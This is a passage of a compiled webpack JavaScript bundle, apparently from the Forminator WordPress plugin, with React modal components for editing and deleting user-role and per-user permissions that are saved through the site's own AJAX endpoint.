			var permissionType = !_.isUndefined(this.modalData.permission_type) ? this.modalData.permission_type : 'role';

			// Set the text depending on permissionType.
			if (!isNew) {
				saveBtn = (0, _utils.translate)('Update Permissions');

				if ('role' === permissionType) {
					titleTag = (0, _utils.translate)('User Role');
					editNotice = (0, _utils.translate)('You are editing permissions for the {{b}}%(role)s{{/b}} user role.', {
						args: {
							role: this.userRoles[this.modalData.user_role].name
						},
						components: {
							b: _react2.default.createElement('b', null)
						}
					});
				} else {
					var userIds = this.state.specific_user;
					var numUsers = this.state.specific_user.length;
					var userName = !_.isUndefined(this.state.user_info[userIds[0]]) ? this.state.user_info[userIds[0]].name : this.state.current_user.name;
					var userEmail = !_.isUndefined(this.state.user_info[userIds[0]]) ? this.state.user_info[userIds[0]].email : this.state.current_user.email;

					titleTag = (0, _utils.translate)('Specific User');
					editNotice = (0, _utils.translate)('You are editing permissions for {{b}}%(userName)s{{/b}}', {
						args: {
							userName: userName
						},
						components: {
							b: _react2.default.createElement('b', null)
						}
					});

					// End of statement depends on the number of users.
					if (numUsers > 1) {
						editNotice = editNotice.concat(' (' + userEmail + ') + ' + (numUsers - 1));

						if (numUsers > 2) {
							editNotice = editNotice.concat((0, _utils.translate)(' others.'));
						} else {
							editNotice = editNotice.concat((0, _utils.translate)(' other.'));
						}
					} else {
						editNotice = editNotice.concat(' (' + userEmail + ').');
					}
				}
			}

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					_header2.default,
					{
						closeType: 'icon',
						closeModal: this.closeModal
					},
					_react2.default.createElement(_title2.default, {
						id: 'permissions-modal-title',
						label: modalTitle,
						tag: titleTag
					})
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-body' },
					isNew && _react2.default.createElement(
						'div',
						{ className: 'sui-box-settings-row' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-box-settings-col-12' },
							_react2.default.createElement(
								'span',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('User Role/Users')
							),
							_react2.default.createElement(
								'span',
								{ className: 'sui-description' },
								(0, _utils.translate)('Choose which user role or individual user(s) should have access ' + 'to the Forminator features selected in the Permissions section below.')
							),
							_react2.default.createElement(
								_radioTabs2.default,
								_extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'permission_type'
								}),
								!_.isEmpty(this.userRoles) && _react2.default.createElement(
									_container2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('User Role'),
										value: 'role',
										boxClass: 'sui-tab-boxed'
									}),
									_react2.default.createElement(
										_suiSelect2.default,
										_extends({}, this.props, {
											settings: this.state,
											updateProperty: this.updateProperty,
											property: 'user_role',
											label: (0, _utils.translate)('Choose user role'),
											defaultValue: this.defaultRole
										}),
										_.map(this.userRoles, function (role, id) {
											return _react2.default.createElement(
												'option',
												{ value: id, key: id },
												role.name
											);
										})
									),
									_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
										settings: this.state,
										updateProperty: this.updateProperty,
										property: 'exclude_users',
										style: { marginBottom: '10px' },
										options: this.getUserTagsOptions(),
										label: (0, _utils.translate)('Exclude users')
									})),
									_react2.default.createElement(
										'span',
										{ className: 'sui-description' },
										(0, _utils.translate)('Use this option to exclude specific ' + 'users with the selected role from accessing Forminator.')
									)
								),
								_react2.default.createElement(
									_container2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Specific User'),
										value: 'specific',
										boxClass: 'sui-tab-boxed'
									}),
									_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
										settings: this.state,
										updateProperty: this.updateProperty,
										property: 'specific_user',
										style: { marginBottom: '10px' },
										options: this.getUserTagsOptions('specific_user'),
										label: (0, _utils.translate)('Choose users')
									}))
								)
							)
						)
					),
					!isNew && _react2.default.createElement(
						_react2.default.Fragment,
						null,
						_react2.default.createElement(
							'div',
							{
								role: 'alert',
								className: 'sui-notice sui-active',
								style: { display: 'block' },
								'aria-live': 'assertive'
							},
							_react2.default.createElement(
								'div',
								{ className: 'sui-notice-content' },
								_react2.default.createElement(
									'div',
									{ className: 'sui-notice-message' },
									_react2.default.createElement('span', {
										className: 'sui-notice-icon sui-icon-info',
										'aria-hidden': 'true'
									}),
									_react2.default.createElement(
										'p',
										null,
										editNotice
									)
								)
							)
						),
						'role' === permissionType && _react2.default.createElement(
							_react2.default.Fragment,
							null,
							_react2.default.createElement(
								'span',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('Exclude users')
							),
							_react2.default.createElement(
								'span',
								{ className: 'sui-description', style: { marginBottom: '10px' } },
								(0, _utils.translate)('Use this option to exclude specific ' + 'users with the selected role from accessing Forminator.')
							),
							_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
								settings: this.state,
								updateProperty: this.updateProperty,
								property: 'exclude_users',
								options: this.getUserTagsOptions()
								// label={ translate( 'Exclude users' ) }
							}))
						),
						'specific' === permissionType && _react2.default.createElement(
							_react2.default.Fragment,
							null,
							_react2.default.createElement(
								'span',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('Choose users')
							),
							_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
								settings: this.state,
								updateProperty: this.updateProperty,
								property: 'specific_user',
								style: { marginBottom: '10px' },
								options: this.getUserTagsOptions('specific_user')
								// label={ translate( 'Choose users' ) }
							}))
						),
						_react2.default.createElement('hr', null)
					),
					_react2.default.createElement(
						'div',
						{ className: 'sui-box-settings-row' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-box-settings-col' },
							_react2.default.createElement(
								'span',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('Permissions')
							),
							_react2.default.createElement(
								'span',
								{ className: 'sui-description' },
								(0, _utils.translate)('Choose what permissions the selected user role or users will have.')
							),
							_react2.default.createElement(
								'div',
								{ className: 'sui-form-field permissions-checkboxes' },
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_modules',
									label: (0, _utils.translate)('Modules'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('Create, edit, and delete modules (Forms, Polls, Quizzes).')
								),
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_submissions',
									label: (0, _utils.translate)('Submissions'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('Access, export, and delete submissions.')
								),
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_addons',
									label: (0, _utils.translate)('Add-ons'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('View, install/uninstall, and configure Add-ons.')
								),
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_integrations',
									label: (0, _utils.translate)('Integrations'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('Access and configure global integrations.')
								),
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_reports',
									label: (0, _utils.translate)('Reports'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('View reports and schedule email notifications for modules.')
								),
								_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
									settings: this.state,
									updateProperty: this.updateProperty,
									property: 'manage_forminator_settings',
									label: (0, _utils.translate)('Settings'),
									itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
								})),
								_react2.default.createElement(
									'span',
									{ className: 'sui-description permission-description' },
									(0, _utils.translate)('Access and configure plugin settings.')
								)
							)
						)
					)
				),
				_react2.default.createElement(
					_footer2.default,
					{
						alignment: 'separated'
					},
					_react2.default.createElement(_close2.default, {
						label: (0, _utils.translate)('Cancel'),
						closeModal: this.closeModal,
						color: 'ghost'
					}),
					_react2.default.createElement(
						'div',
						{ className: 'btn-save-wrap', 'data-tooltip': this.validator().validationError },
						_react2.default.createElement(
							'button',
							{
								className: 'sui-button sui-button-blue forminator-save-field-settings',
								'data-tooltip': this.validator().validationError,
								onClick: this.savePermission,
								ref: this.saveBtn
							},
							_react2.default.createElement(
								'span',
								{ className: 'sui-loading-text' },
								saveBtn
							),
							_react2.default.createElement('i', { className: 'sui-icon-loader sui-loading', 'aria-hidden': 'true' })
						)
					)
				)
			);
		}
	}]);

	return permissionsModal;
}(_react.Component);

exports.default = permissionsModal;

/***/ }),
/* 826 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _axios = __webpack_require__(39);

var _axios2 = _interopRequireDefault(_axios);

var _qs = __webpack_require__(40);

var _qs2 = _interopRequireDefault(_qs);

var _utils = __webpack_require__(1);

var _notifications = __webpack_require__(30);

var _notifications2 = _interopRequireDefault(_notifications);

var _header = __webpack_require__(64);

var _header2 = _interopRequireDefault(_header);

var _title = __webpack_require__(66);

var _title2 = _interopRequireDefault(_title);

var _footer = __webpack_require__(87);

var _footer2 = _interopRequireDefault(_footer);

var _close = __webpack_require__(65);

var _close2 = _interopRequireDefault(_close);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var permissionDeleteModal = function (_Component) {
	_inherits(permissionDeleteModal, _Component);

	function permissionDeleteModal(props) {
		_classCallCheck(this, permissionDeleteModal);

		var _this = _possibleConstructorReturn(this, (permissionDeleteModal.__proto__ || Object.getPrototypeOf(permissionDeleteModal)).call(this, props));

		_this.closeModal = _this.props.modal.modalProps.closeModal.bind(_this);
		_this.deletePermission = _this.deletePermission.bind(_this);
		_this.showNotification = _this.showNotification.bind(_this);

		_this.userRoles = Object.assign({}, forminatorData.userRoles);
		_this.modalData = Object.assign({}, _this.props.modal.modalProps);
		return _this;
	}

	_createClass(permissionDeleteModal, [{
		key: 'showNotification',
		value: function showNotification(type, msg) {
			var custom = new _notifications2.default({
				type: type,
				text: 'error' === type ? (0, _utils.translate)('Something went wrong. Please try again.') : msg
			});

			custom.open();

			if ('error' === type) {
				console.log(msg);
			}

			this.closeModal();
		}
	}, {
		key: 'deletePermission',
		value: function deletePermission() {
			var _this2 = this;

			var permissions = this.props.permissions;

			permissions = permissions.filter(function (permission) {
				return permission.pid !== _this2.modalData.pid;
			});

			var permissionData = {
				action: 'forminator_save_permissions',
				_wpnonce: forminatorData.permission_nonce,
				mode: 'delete',
				pid: this.modalData.pid,
				permissions: JSON.stringify(permissions)
			};

			_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(permissionData)).then(function (res) {
				if (res.data.success) {

					_this2.props.actions.permissionActions.updatePermissions(permissions);

					_this2.showNotification('success', (0, _utils.translate)('Permission successfully deleted.'));
				} else {
					_this2.showNotification('error', res.data.data);
				}
			}).catch(function (err) {
				_this2.showNotification('error', err);
			});
		}
	}, {
		key: 'render',
		value: function render() {
			var description = '';

			var permissionType = !_.isUndefined(this.modalData.permission_type) ? this.modalData.permission_type : 'role';

			if ('role' === permissionType) {

				description = (0, _utils.translate)('Are you sure you wish to delete the permissions rule for the {{b}}%(role)s{{/b}} user role?', {
					args: {
						role: this.userRoles[this.modalData.user_role].name
					},
					components: {
						b: _react2.default.createElement('b', null)
					}
				});
			} else {

				var descriptionPretext = (0, _utils.translate)('Are you sure you wish to delete the permissions for {{b}}%(firstName)s{{/b}} ', {
					args: {
						firstName: this.modalData.user_info[this.modalData.specific_user[0]].name
					},
					components: {
						b: _react2.default.createElement('b', null)
					}
				});

				if (this.modalData.specific_user.length > 1) {
					description = descriptionPretext.concat((0, _utils.translate)('and %(extra)s other user(s)?', {
						args: {
							extra: this.modalData.specific_user.length - 1
						}
					}));
				} else {
					description = descriptionPretext.concat('(' + this.modalData.user_info[this.modalData.specific_user[0]].email + ')?');
				}
			}

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					_header2.default,
					{
						flatten: true,
						alignment: 'center',
						closeModal: this.closeModal,
						closeType: 'icon',
						customClass: 'sui-spacing-top--60'
					},
					_react2.default.createElement(_title2.default, {
						id: 'forminator-delete-permission-modal__title' // Missing id.
						, label: (0, _utils.translate)('Delete Permissions'),
						size: 'lg'
					}),
					_react2.default.createElement(
						'p',
						{ className: 'sui-description' },
						description
					)
				),
				_react2.default.createElement(
					_footer2.default,
					{
						customClass: 'sui-flatten sui-content-center'
					},
					_react2.default.createElement(_close2.default, {
						label: (0, _utils.translate)('Cancel'),
						closeModal: this.closeModal,
						customClass: 'sui-button-ghost'
					}),
					_react2.default.createElement(
						'button',
						{
							className: 'sui-button sui-button-ghost sui-button-red permission-delete-button',
							onClick: this.deletePermission
						},
						_react2.default.createElement(
							'span',
							{ className: 'sui-loading-text' },
							_react2.default.createElement('i', { className: 'sui-icon-trash', 'aria-hidden': 'true' }),
							(0, _utils.translate)('Delete')
						),
						_react2.default.createElement('i', { className: 'sui-icon-loader sui-loading', 'aria-hidden': 'true' })
					)
				)
			);
		}
	}]);

	return permissionDeleteModal;
}(_react.Component);

exports.default = permissionDeleteModal;

/***/ })
/******/ ]);
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vd2VicGFjay9ib290c3RyYXAgYjk0NWM3YzRhNmI2NmM5OTA1MzMiLCJ3ZWJwYWNrOi8vL2V4dGVybmFsIFwiUmVhY3RcIiIsIndlYnBhY2s6Ly8vLi9zcmMvdXRpbHMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3Byb2Nlc3MvYnJvd3Nlci5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvaW5wdXRzL2lucHV0LmpzIiwid2VicGFjazovLy8uL3NyYy9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lci5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvY29udGFpbmVycy9jb2wuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXIuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL3NldHRpbmdzL2lucHV0cy9yYWRpby10YWJzLmpzIiwid2VicGFjazovLy8uL3NyYy9zZXR0aW5ncy9jb250YWluZXJzL3Jvdy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcHJvcC10eXBlcy9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvY29udGFpbmVycy90YWJzLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWR1eC9lcy9yZWR1eC5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvY29udGFpbmVycy9lbXB0eS5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvaW5kZXguanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi91dGlscy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaW52YXJpYW50L2Jyb3dzZXIuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL3NldHRpbmdzL2NvbnRhaW5lcnMvc2V0dGluZ3Mtcm93LmpzIiwid2VicGFjazovLy8uL3NyYy9zZXR0aW5ncy9pbnB1dHMvc3VpLXNlbGVjdDIuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3dhcm5pbmcvd2FybmluZy5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvaW5wdXRzL3N1aS1zZWxlY3QuanMiLCJ3ZWJwYWNrOi8vL2V4dGVybmFsIFwiUmVhY3RET01cIiIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvaW5wdXRzL3RvZ2dsZS5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9QYXRoVXRpbHMuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL25vdGlmaWNhdGlvbnMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL2hpc3Rvcnkvbm9kZV9tb2R1bGVzL3dhcm5pbmcvYnJvd3Nlci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9Mb2NhdGlvblV0aWxzLmpzIiwid2VicGFjazovLy8uL3NyYy9zZXR0aW5ncy9jb250YWluZXJzL2FjY29yZGlvbi5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGFzaC5qcy9saWIvaGFzaC91dGlscy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvYXhpb3MvaW5kZXguanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3FzL2xpYi9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvc2V0dGluZ3MvaW5wdXRzL2NoZWNrYm94LmpzIiwid2VicGFjazovLy8od2VicGFjaykvYnVpbGRpbi9nbG9iYWwuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3Byb3AtdHlwZXMvbGliL1JlYWN0UHJvcFR5cGVzU2VjcmV0LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy91dGlscy93YXJuaW5nLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9oaXN0b3J5L2VzL2NyZWF0ZVRyYW5zaXRpb25NYW5hZ2VyLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1JvdXRlci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyL2VzL1JvdXRlci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyL2VzL21hdGNoUGF0aC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2RlZmF1bHRzLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9pMThuLXdwLXBsdWdpbi9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvbWluaW1hbGlzdGljLWFzc2VydC9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaW5oZXJpdHMvaW5oZXJpdHNfYnJvd3Nlci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvZXZlbnRzL2V2ZW50cy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvZmJqcy9saWIvZW1wdHlGdW5jdGlvbi5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvZmJqcy9saWIvaW52YXJpYW50LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9mYmpzL2xpYi93YXJuaW5nLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9sb2Rhc2guYXNzaWduL2luZGV4LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9vYmplY3QtYXNzaWduL2luZGV4LmpzIiwid2VicGFjazovLy8uL3NyYy9mb3JtL2NvbXBvbmVudHMvbW9kYWxzL3BhcnRpYWxzL2hlYWRlci5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy9jbG9zZS5qcyIsIndlYnBhY2s6Ly8vLi9zcmMvZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy90aXRsZS5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvdXRpbHMvUHJvcFR5cGVzLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy9jb21wb25lbnRzL2Nvbm5lY3RBZHZhbmNlZC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaG9pc3Qtbm9uLXJlYWN0LXN0YXRpY3MvZGlzdC9ob2lzdC1ub24tcmVhY3Qtc3RhdGljcy5janMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3Qvd3JhcE1hcFRvUHJvcHMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL3V0aWxzL3ZlcmlmeVBsYWluT2JqZWN0LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9sb2Rhc2gtZXMvX1N5bWJvbC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9ET01VdGlscy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy9MaW5rLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1JvdXRlLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXIvZXMvUm91dGUuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3BhdGgtdG8tcmVnZXhwL2luZGV4LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXIvZXMvZ2VuZXJhdGVQYXRoLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9heGlvcy9saWIvaGVscGVycy9iaW5kLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9heGlvcy9saWIvYWRhcHRlcnMveGhyLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9heGlvcy9saWIvY29yZS9jcmVhdGVFcnJvci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2NhbmNlbC9pc0NhbmNlbC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2NhbmNlbC9DYW5jZWwuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3FzL2xpYi91dGlscy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcXMvbGliL2Zvcm1hdHMuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL2Zvcm0vY29tcG9uZW50cy9tb2RhbHMvcGFydGlhbHMvZm9vdGVyLmpzIiwid2VicGFjazovLy8uL3NyYy9yZW5kZXJCbG9jay5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3QtZG9tL2NsaWVudC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvc2VtdmVyL3NlbXZlci5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaTE4bi13cC1wbHVnaW4vbGliL2luZGV4LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9pMThuLXdwLXBsdWdpbi9ub2RlX21vZHVsZXMvZGVidWcvc3JjL2Jyb3dzZXIuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL2kxOG4td3AtcGx1Z2luL25vZGVfbW9kdWxlcy9kZWJ1Zy9zcmMvZGVidWcuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL21zL2luZGV4LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9qZWQvamVkLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9oYXNoLmpzL2xpYi9oYXNoL3NoYS8xLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9oYXNoLmpzL2xpYi9oYXNoL2NvbW1vbi5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaGFzaC5qcy9saWIvaGFzaC9zaGEvY29tbW9uLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9pbnRlcnBvbGF0ZS1jb21wb25lbnRzL2xpYi9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3QtYWRkb25zLWNyZWF0ZS1mcmFnbWVudC9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaW50ZXJwb2xhdGUtY29tcG9uZW50cy9saWIvdG9rZW5pemUuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL2xydS9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvaTE4bi13cC1wbHVnaW4vbGliL251bWJlci1mb3JtYXQuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL2kxOG4td3AtcGx1Z2luL2xpYi9sb2NhbGl6ZS9pbmRleC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvY3JlYXRlLXJlYWN0LWNsYXNzL2luZGV4LmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9jcmVhdGUtcmVhY3QtY2xhc3MvZmFjdG9yeS5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvZmJqcy9saWIvZW1wdHlPYmplY3QuanMiLCJ3ZWJwYWNrOi8vLy4vc3JjL2Zvcm0vYWN0aW9ucy9zZXR0aW5ncy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVkdXgtdGh1bmsvZXMvaW5kZXguanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2NvbXBvbmVudHMvUHJvdmlkZXIuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3Byb3AtdHlwZXMvZmFjdG9yeVdpdGhUeXBlQ2hlY2tlcnMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3Byb3AtdHlwZXMvY2hlY2tQcm9wVHlwZXMuanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3Byb3AtdHlwZXMvZmFjdG9yeVdpdGhUaHJvd2luZ1NoaW1zLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy91dGlscy9TdWJzY3JpcHRpb24uanMiLCJ3ZWJwYWNrOi8vLy4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3QvY29ubmVjdC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvdXRpbHMvc2hhbGxvd0VxdWFsLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy9jb25uZWN0L21hcERpc3BhdGNoVG9Qcm9wcy5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvc3ltYm9sLW9ic2VydmFibGUvZXMvaW5kZXguanMiLCJ3ZWJwYWNrOi8vLyh3ZWJwYWNrKS9idWlsZGluL2hhcm1vbnktbW9kdWxlLmpzIiwid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9zeW1ib2wtb2JzZXJ2YWJsZS9lcy9wb255ZmlsbC5qcyIsIndlYnBhY2s6Ly8vLi9ub2RlX21vZHVsZXMvbG9kYXNoLWVzL2lzUGxhaW5PYmplY3QuanMiLCJ3ZWJwYWNrOi8